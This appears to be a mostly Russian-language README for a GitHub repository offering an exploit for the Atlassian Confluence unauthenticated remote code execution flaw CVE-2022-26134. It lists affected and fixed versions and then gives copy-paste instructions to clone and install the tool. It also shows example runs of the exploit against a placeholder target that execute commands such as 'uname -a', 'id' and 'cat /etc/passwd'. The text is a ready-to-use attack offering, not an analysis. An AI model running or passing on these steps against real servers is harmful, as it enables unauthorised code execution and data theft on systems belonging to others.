nxtexploit/cve-2022-26134Atlassian Confluence (CVE-2022-26134) - Unauthenticated Remote code execution (RCE)
Confluence Server и Data Center - CVE-2022-26134 - Критическая уязвимость удаленного выполнения кода без аутентификации
| Краткое описание | CVE-2022-26134 - Критическая уязвимость удаленного выполнения кода без аутентификации в Confluence Server и Data Center |
|---|---|
| Затронутые продукты | Confluence Confluence Server Confluence Data Center |
| Затронутые версии | Все поддерживаемые версии Confluence Server и Data Center уязвимы. Версии Confluence Server и Data Center выше 1.3.0 уязвимы. |
| Исправленные версии | 7.4.17 7.13.7 7.14.3 7.15.2 7.16.4 7.17.4 7.18.1 |
Скопируйте и вставьте в терминал:
git clone https://github.com/nxtexploit/CVE-2022-26134 ; cd CVE-2022-26134 ; pip install -r requirements.txt
python3 CVE-2022-26134.py https://target.com type-command-here
python3 CVE-2022-26134.py https://target.com "uname -a"
python3 CVE-2022-26134.py https://target.com "cat /etc/passwd"
python3 CVE-2022-26134.py https://target.com id
